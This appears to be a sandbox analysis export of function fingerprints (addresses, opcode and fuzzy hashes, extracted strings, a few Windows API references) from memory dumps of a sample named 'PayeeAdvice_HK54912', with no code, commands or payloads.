Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05d5700a493aeefe545ba8a74d89bfd2d9884a43d6303b1e63e0c27a75b63e16
Instruction ID: 241be73e04e4441531b221412a58f7a2df1d7970af3f8d8021265d9958899ad7
Opcode Fuzzy Hash: 05d5700a493aeefe545ba8a74d89bfd2d9884a43d6303b1e63e0c27a75b63e16
Instruction Fuzzy Hash: 38A1A3B5E01218CFEB64CF6AC944B9EFBF2AB88300F14C1AAD409A7250DB355A85CF51

Function 39EF17A0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd2662f02063ef6e07167e1ef89ac1890944e7bf39f7ce2a4f9b9cfc97d833bc
Instruction ID: d0c7e2044c262c0f2ffff482f22e27254a73c9351d6fe59698a98d971fa8b4f7
Opcode Fuzzy Hash: fd2662f02063ef6e07167e1ef89ac1890944e7bf39f7ce2a4f9b9cfc97d833bc
Instruction Fuzzy Hash: DDA1B3B4E01218CFEB64CF6AC944B9EFBF2AF88300F14C1AAD409A7250DB345A85CF51

Function 39EF310E Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48853519d44711a6253f6aaf3340cc92432215a10fbd164ece6cd2d6d0ac4451
Instruction ID: 9db1adf85ba787896f7a575b9f6a31b98418c5c7d29109102507f3c91bed7b93
Opcode Fuzzy Hash: 48853519d44711a6253f6aaf3340cc92432215a10fbd164ece6cd2d6d0ac4451
Instruction Fuzzy Hash: 8591D374D00218CFEB10DFA8C944B9DBBB1FF49314F20929AE40ABB291DB759985CF55

Function 3A8070C0 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353601159.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdd58ae12bb0775a07ce6af5cde65a55044f62ca44ae14522a8ce7cb16836942
Instruction ID: f24af27018623794a708e746ab670d27e92cadab30952248174912a0904430db
Opcode Fuzzy Hash: cdd58ae12bb0775a07ce6af5cde65a55044f62ca44ae14522a8ce7cb16836942
Instruction Fuzzy Hash: B9819174E00219DFDB54DFE9C890A9DBBB2BF89300F608169D819BB354EB359986CF50

Function 39EFFC68 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c5b22e01e3ada41e16bab30214504208349d2ddd7fa73e464a6a3fba8cc9761
Instruction ID: db3513f1bc8d2621249625b8b2a9e1106bdcd44c3f64abfc5bbb816455a2e3bb
Opcode Fuzzy Hash: 2c5b22e01e3ada41e16bab30214504208349d2ddd7fa73e464a6a3fba8cc9761
Instruction Fuzzy Hash: D6819075E00218CBDB54DFA9C890B9DBBB2BF89304F20816AD819BB354DB359986CF50

Function 3A81FB30 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353627350.000000003A810000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a810000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa12da90501a8a451dfdd6af4fc23cbb0358f3552c8e3d7ee29a25a10cb5b476
Instruction ID: 22fece4446cca42092a70877d7ce3ca21a21fd9f7bdaded12e27d18cee411952
Opcode Fuzzy Hash: aa12da90501a8a451dfdd6af4fc23cbb0358f3552c8e3d7ee29a25a10cb5b476
Instruction Fuzzy Hash: CA819074E01218CFDB54DFA9C990AADBBB2BF88300F20816AD419BB395DB355D86DF50

Function 3A818470 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353627350.000000003A810000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a810000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65a3f068ff77cc69652a2c048a954af1ff16e19e29bb3ae42b976e1142117ffb
Instruction ID: 676456f8c9303eabff3525df2b182f023605f1ec7c6a4ed443d355072dd37bdd
Opcode Fuzzy Hash: 65a3f068ff77cc69652a2c048a954af1ff16e19e29bb3ae42b976e1142117ffb
Instruction Fuzzy Hash: CF81AF74E00218CFDB54DFA9C991A9DBBB2BF88304F20856AD409BB354DB355986CF50

Function 39EF178F Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac5416ed99a3e233d8d0d786e6f4c8e939a60edcc27770133a5fed3875f041aa
Instruction ID: 00cc86bd9b73e756e23315cb357027796f0f02961ff620ad2ed06db2a62d8b7a
Opcode Fuzzy Hash: ac5416ed99a3e233d8d0d786e6f4c8e939a60edcc27770133a5fed3875f041aa
Instruction Fuzzy Hash: 4F81A5B4E016188FEB68CF66C944B9EFBF2BF88300F14C1AAD409A7254DB745A85CF50

Function 3A7E6568 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 956ebc761d1f72c8a4781347e5a99ff4183b6e8ec7a167689e97ef03df5f5f5b
Instruction ID: fbcc84686185ec8a3f2b19528423c3d7447b06586dfc4ede1ca84293e97ca523
Opcode Fuzzy Hash: 956ebc761d1f72c8a4781347e5a99ff4183b6e8ec7a167689e97ef03df5f5f5b
Instruction Fuzzy Hash: 9F519C74D042488BEB25CFA9D9A06DEBFF3BF89304F14806AC455AF255DB38990ACF50

Function 0016E97A Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db5797b55dbf74172db2d038cef22d5dde2c9c24f86e2aa7387637a9c631a49a
Instruction ID: 66c354b08ce5a1defdf930f4be01664275213b95723a819e92fd55548eb083bf
Opcode Fuzzy Hash: db5797b55dbf74172db2d038cef22d5dde2c9c24f86e2aa7387637a9c631a49a
Instruction Fuzzy Hash: 1451B574E10208DFDB18DFAAD894A9DBBF2BF89310F24C169E815AB365DB305952CF14

Function 0016E988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9a6cb0f550d09af7116f4154cbfaf586f7a2e84003e21c3e5a0321980dd24e4
Instruction ID: a70e52598da2cc4718aa815158ba1549f6dba8674f1734a273473531ec220dff
Opcode Fuzzy Hash: c9a6cb0f550d09af7116f4154cbfaf586f7a2e84003e21c3e5a0321980dd24e4
Instruction Fuzzy Hash: FB519574E10208DFDB18DFAAD884A9DBBF2BF89300F24C129E819AB365DB345951CF54

Function 3A7E6621 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6df24d26f1a543af84d58651c2d7bfde265390cccdee4c9356595e8bda798667
Instruction ID: cd74564ab0c362de82b5e3ba8de6c6ea5ec35b0944647d12111d5997ee452535
Opcode Fuzzy Hash: 6df24d26f1a543af84d58651c2d7bfde265390cccdee4c9356595e8bda798667
Instruction Fuzzy Hash: EB517B75D042488FDB24CFAAD9A06DDBBB3BF89304F14906AC454AB215DB39A94ACF50

Function 3A7E660F Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdc45b05449d507e810ddc0c7a28760ffd97dfe205162ffeab8db9dd9bc679e6
Instruction ID: acd9515efad1a0afa3305ac11e63b97a2e3ab82c580eb34518a0b53db55b2fa2
Opcode Fuzzy Hash: fdc45b05449d507e810ddc0c7a28760ffd97dfe205162ffeab8db9dd9bc679e6
Instruction Fuzzy Hash: A1411B74D012588BEB24CFAAD9A469DBBB3BF89304F14D06AC419BB354DB35994ACF40

Function 3A7E5FC7 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea1be1728722717fdc8824b59a94d1d3973882b5f39400849009ab00ff8b0d60
Instruction ID: f03d8e94ff3e12775aaf1990defb5d3e905444921f6c1e197376a41cd0ae2e67
Opcode Fuzzy Hash: ea1be1728722717fdc8824b59a94d1d3973882b5f39400849009ab00ff8b0d60
Instruction Fuzzy Hash: 7D41F4B0E002188BEB18DFAAC8447DDBBF2BF89304F14C16AC419BB294DB35594ACF14

Function 39EF1E70 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8a5f00ad68e9efd6f5b29692ac24a3c227d95277ce8f67122e1df7ff2546c22
Instruction ID: 65dc324598ec7fb1dc34c0a829019a7f8ac44250edc1ba4b7c6152ebad6199d4
Opcode Fuzzy Hash: e8a5f00ad68e9efd6f5b29692ac24a3c227d95277ce8f67122e1df7ff2546c22
Instruction Fuzzy Hash: 6A416971E016189BEB58CF6BC94479EFAF3AFC9304F14C1AAC40CA6264EB751A85CF51

Function 3A811CE0 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353627350.000000003A810000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a810000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84ca72c980d2ba16840638f9b3bf56e02c270803037ea3bcea6beb6211e21b43
Instruction ID: cf218533518f4b283509afcc4f9fa08f3891e12c6acf93b60097f890c9757603
Opcode Fuzzy Hash: 84ca72c980d2ba16840638f9b3bf56e02c270803037ea3bcea6beb6211e21b43
Instruction Fuzzy Hash: 4E410570E042188FDB08DFAAD8946DDBBF2BF89300F24D02AD458BB254EB345946CF41

Function 39EF295A Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39d8ce8f863f0e0b6c58862c87d07e16aa5194edc9bd55cb53ed12a95761cb7c
Instruction ID: 6780d9c2ad500c355775849494e9c1f7f89497e86493c818901155ee1898d8c1
Opcode Fuzzy Hash: 39d8ce8f863f0e0b6c58862c87d07e16aa5194edc9bd55cb53ed12a95761cb7c
Instruction Fuzzy Hash: CA41F274D01648CFEB18DFAAC9546EDBBB2BF89300F20C12AD419AB364DB355946CF40

Function 39EFDDF1 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12ee1aa6e6e675e7607ff8d91034c92e70001e04d7e001986432e668740ad467
Instruction ID: 4a5d656d3749fc2e8114928ad261b12888fa16aec95e84e7f1ca9b57e3ee1f7b
Opcode Fuzzy Hash: 12ee1aa6e6e675e7607ff8d91034c92e70001e04d7e001986432e668740ad467
Instruction Fuzzy Hash: A541C271D01248CBEB08DFEAD94469DBBF2AF89300F20D12AC419BB255DB355945CF50

Function 39EFE257 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30eecc464347e80af53f23295083512cbff0334a6dfdf2d27887036660e9bcf6
Instruction ID: efaf6d3bca2274a64228bd47bc8fa0f7803b2b340690f88fe2d046fe88391052
Opcode Fuzzy Hash: 30eecc464347e80af53f23295083512cbff0334a6dfdf2d27887036660e9bcf6
Instruction Fuzzy Hash: 1141D274E01248CBEB18DFAAD9546DDFBF2AF89300F20D12AC419BB255DB355946CF50

Function 39EFE249 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35a0d1b5d53e83f43022369f5c4fcc6de76a8c8a056ea87a8af7bbc9d93b924e
Instruction ID: 703a38e4e05c732b61601772e9bd5c26c4334085f7afc4be70bb2d35144437b0
Opcode Fuzzy Hash: 35a0d1b5d53e83f43022369f5c4fcc6de76a8c8a056ea87a8af7bbc9d93b924e
Instruction Fuzzy Hash: 7131D270E01608CBEB08CFAAC5546DDFBB2AF89300F21D12AC419BB255EB355946CF40

Function 001676F1 Relevance: 10.5, Strings: 8, Instructions: 456
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,aq, xrefs: 00167BA0
(o]q, xrefs: 00167815
,aq, xrefs: 00167B90
(o]q, xrefs: 00167BFF
(o]q, xrefs: 001678B2
(o]q, xrefs: 0016772E
(o]q, xrefs: 001677E9
(o]q, xrefs: 00167C0F

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$(o]q$(o]q$(o]q$(o]q$,aq$,aq
API String ID: 0-1435242062
Opcode ID: 6aaa1687f70607c67b1625478deb09547182abdce34c6719bb1caeab3ad4a609
Instruction ID: 9331622d72e6b5f2643a6d0c2790827b90766f26f7100cecd8dbb58ef87c6ac0
Opcode Fuzzy Hash: 6aaa1687f70607c67b1625478deb09547182abdce34c6719bb1caeab3ad4a609
Instruction Fuzzy Hash: 5C125B30A04609CFCB15CF68C894AAEBBF2FF49318F258599E855DB2A1D730ED51CB90

Function 39EF3A50 Relevance: 7.8, Strings: 6, Instructions: 287
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

x4n9, xrefs: 39EF3BD3
, xrefs: 39EF3B4D
Haq, xrefs: 39EF3CBB
Haq, xrefs: 39EF3D21
x4n9, xrefs: 39EF3C39
Haq, xrefs: 39EF3CEE

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: $Haq$Haq$Haq$x4n9$x4n9
API String ID: 0-3301092701
Opcode ID: 7d681777ef10f74ade8a9c6301d5ee1a056a695d4ce98858f3f877ffcfc944ea
Instruction ID: 98ec93ec58a27f654769e94a489841168add69afd1ae8f94d717d3170d682041
Opcode Fuzzy Hash: 7d681777ef10f74ade8a9c6301d5ee1a056a695d4ce98858f3f877ffcfc944ea
Instruction Fuzzy Hash: 3AA1EF34B002449FDB15AF38986566E3BA6EFC53A4B21462AE413CB3D1CF369D41CBA1

Function 39EF3FE8 Relevance: 6.6, Strings: 5, Instructions: 394
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 39EF4231
Haq, xrefs: 39EF41D2
TJbq, xrefs: 39EF4462
Haq, xrefs: 39EF4036
8bq, xrefs: 39EF4429

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: 8bq$Haq$Haq$Haq$TJbq
API String ID: 0-1597716666
Opcode ID: 505137aa2e37902d6d7298dfcc337eef96a126340c73d4deb2ea945045cb5059
Instruction ID: 4fdcc6bfb33522f7a4c2a99c8372b3515a1a32702c50105423e777061c2ab49d
Opcode Fuzzy Hash: 505137aa2e37902d6d7298dfcc337eef96a126340c73d4deb2ea945045cb5059
Instruction Fuzzy Hash: 4ED11535B082448FD705DB68C894AAD7BB2FFC9320F25416AE506DB3A1DB31ED81CB91

Function 3A99B42A Relevance: 6.1, APIs: 4, Instructions: 136
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 3A99B4B6
GetCurrentThread.KERNEL32 ref: 3A99B4F3
GetCurrentProcess.KERNEL32 ref: 3A99B530
GetCurrentThreadId.KERNEL32 ref: 3A99B589

Memory Dump Source

Source File: 00000004.00000002.3353733702.000000003A990000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a990000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 7174bc464c88ebec1e455478c37fe149d4fb5aa5a3e458106ef19bf405937340
Instruction ID: 1826be207f24cf416748a50fe48ac686815026b6b184ee05c916608947c97910
Opcode Fuzzy Hash: 7174bc464c88ebec1e455478c37fe149d4fb5aa5a3e458106ef19bf405937340
Instruction Fuzzy Hash: 035166B09003499FDB01CFA9D548BEEBFF1AF89310F20849DE459B7251DB396981CB66

Function 3A99B438 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 3A99B4B6
GetCurrentThread.KERNEL32 ref: 3A99B4F3
GetCurrentProcess.KERNEL32 ref: 3A99B530
GetCurrentThreadId.KERNEL32 ref: 3A99B589

Memory Dump Source

Source File: 00000004.00000002.3353733702.000000003A990000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a990000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 73d0ca9b2d6be3ef75a51154e85d4b9b1dc51b990ff1a20ee1b4d73633de0ba3
Instruction ID: d73842c80fc12c699bcdeae648b819860d5c5c4830fd0956a3ab7b2e2d3590cd
Opcode Fuzzy Hash: 73d0ca9b2d6be3ef75a51154e85d4b9b1dc51b990ff1a20ee1b4d73633de0ba3
Instruction Fuzzy Hash: 395133B59003099FDB04DFA9D548BEEBFF5AF88310F20845DE419B7250DB39A981CB66

Function 00165F38 Relevance: 2.8, Strings: 2, Instructions: 327COMMON

Download Yara Rule

Strings

Haq, xrefs: 00166023
Haq, xrefs: 00166056

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: Haq$Haq
API String ID: 0-4016896955
Opcode ID: 11fa73655926fa92400cf1244b62444bad865d207ef93bdc9d27e8b0521bbeb7
Instruction ID: 7db8399ff6b793e442ff90d48ac3d57ef7f6e21f93cb00a111a722b20c558ca6
Opcode Fuzzy Hash: 11fa73655926fa92400cf1244b62444bad865d207ef93bdc9d27e8b0521bbeb7
Instruction Fuzzy Hash: 14B1C0307042158FCB199F79CC64A7A7BA2AFC9300F15856AE446CB3A2DB34CD92D791

Function 3A80E950 Relevance: 2.7, Strings: 2, Instructions: 235COMMON

Download Yara Rule

Strings

LR]q, xrefs: 3A80EA99
LR]q, xrefs: 3A80E96C

Memory Dump Source

Source File: 00000004.00000002.3353601159.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: LR]q$LR]q
API String ID: 0-3917262905
Opcode ID: c79908d2cf2aaa17de540560952148263287d69614cf7237a78f628bc955649d
Instruction ID: 71acac825159e622ead996f676fb6e13cce00a313b4b1508f261c03e2db36516
Opcode Fuzzy Hash: c79908d2cf2aaa17de540560952148263287d69614cf7237a78f628bc955649d
Instruction Fuzzy Hash: 3581A234B14205AFD714DF78C865A5F7BB2BF89644B1541A9E44ADB3A1DB30EC02CF91

Function 00166498 Relevance: 2.7, Strings: 2, Instructions: 232COMMON

Download Yara Rule

Strings

,aq, xrefs: 00166578
,aq, xrefs: 0016656E

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: ,aq$,aq
API String ID: 0-2990736959
Opcode ID: 6634b1f007d13b867d61e60a1c926245d46ca4e21a187f36d04632bd4d8da44d
Instruction ID: bd9437d586553bd72f297243a438f1ee1a91a8a45c971755d408c4b3155379ee
Opcode Fuzzy Hash: 6634b1f007d13b867d61e60a1c926245d46ca4e21a187f36d04632bd4d8da44d
Instruction Fuzzy Hash: 6281BE74A00505CFCB18CF69DC8496ABBF2BF89315B258169D406E7379DB31EC61CBA1

Function 0016AEBA Relevance: 2.6, Strings: 2, Instructions: 138COMMON

Download Yara Rule

Strings

(o]q, xrefs: 0016AECD
(o]q, xrefs: 0016B079

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: (o]q$(o]q
API String ID: 0-1858875562
Opcode ID: d9dc8d33779aa59a453641811444f85ebdc87ed2005c7edd4776a4a978deeb82
Instruction ID: 283a3329aa3dafe66bbd1a3e59ab237f070db7db6fe3953fa28ab2563586c0c4
Opcode Fuzzy Hash: d9dc8d33779aa59a453641811444f85ebdc87ed2005c7edd4776a4a978deeb82
Instruction Fuzzy Hash: 8E4126357082048FC7059B78DC64A6E7FB2AFC9711B1444AAF506CB7A2DB31CD55CB91

Function 00163CB1 Relevance: 2.6, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

Xaq, xrefs: 00163CCD
Xaq, xrefs: 00163CF6

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: Xaq$Xaq
API String ID: 0-1488805882
Opcode ID: 37f34f395261b580f2390af5b1309bcf21fd7a94955880ccd8e4ecb0d1b88669
Instruction ID: a718e24fcf3dba5e90680a8bc9173e0fa2e2f72a44bafe72716ff65b9ac2d51d
Opcode Fuzzy Hash: 37f34f395261b580f2390af5b1309bcf21fd7a94955880ccd8e4ecb0d1b88669
Instruction Fuzzy Hash: DA316731B042258BDF2C4AF98C9427EAAE6AFC5300F68443ED822D3390DF74CE5593A0

Function 39EF4351 Relevance: 2.6, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

TJbq, xrefs: 39EF4462
8bq, xrefs: 39EF4429

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: 8bq$TJbq
API String ID: 0-3440557903
Opcode ID: 75740d48301154629239331aeb3ce3078353d91971545c7424842cebe2b5426c
Instruction ID: dc858eecc686cd0172de9b0cdc99e1510bc44f5d94a2a16f398bcd65e9bfb55d
Opcode Fuzzy Hash: 75740d48301154629239331aeb3ce3078353d91971545c7424842cebe2b5426c
Instruction Fuzzy Hash: 53313575B002098FCB45DBA8C491E9DBBB2FF88324F295951E505EB362DB31EC85CB90

Function 39EF4385 Relevance: 2.6, Strings: 2, Instructions: 100COMMON

Download Yara Rule

Strings

TJbq, xrefs: 39EF4462
8bq, xrefs: 39EF4429

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: 8bq$TJbq
API String ID: 0-3440557903
Opcode ID: dac6204bf213f666cc1eb4938dae9502e8f5db0259e76635266f377893361acc
Instruction ID: d8f3bb5b47ccecfe606c9dd4a609f53fa751888d38680aab454a5d00a854c253
Opcode Fuzzy Hash: dac6204bf213f666cc1eb4938dae9502e8f5db0259e76635266f377893361acc
Instruction Fuzzy Hash: 83313675B001098FCB41EBA8C490E9DBBB2FF88324F255955E505AF362DB31EC85CB90

Function 00169D59 Relevance: 2.5, Strings: 2, Instructions: 44COMMON

Download Yara Rule

Strings

4']q, xrefs: 00169D6D
4']q, xrefs: 00169D84

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: e834f891d311cb8fd4c7de6376d00b7ef8356b97c5b637f94101ae2cebff0fff
Instruction ID: d63fcf2c06579c95479db758b677452ec1ef9b8fb6d29a6e6308f1ccc3ddd8c7
Opcode Fuzzy Hash: e834f891d311cb8fd4c7de6376d00b7ef8356b97c5b637f94101ae2cebff0fff
Instruction Fuzzy Hash: 8FF044353002156FDB195AAADC5497ABADFEBC83A0B148429B949C7351DE71CD1183A1

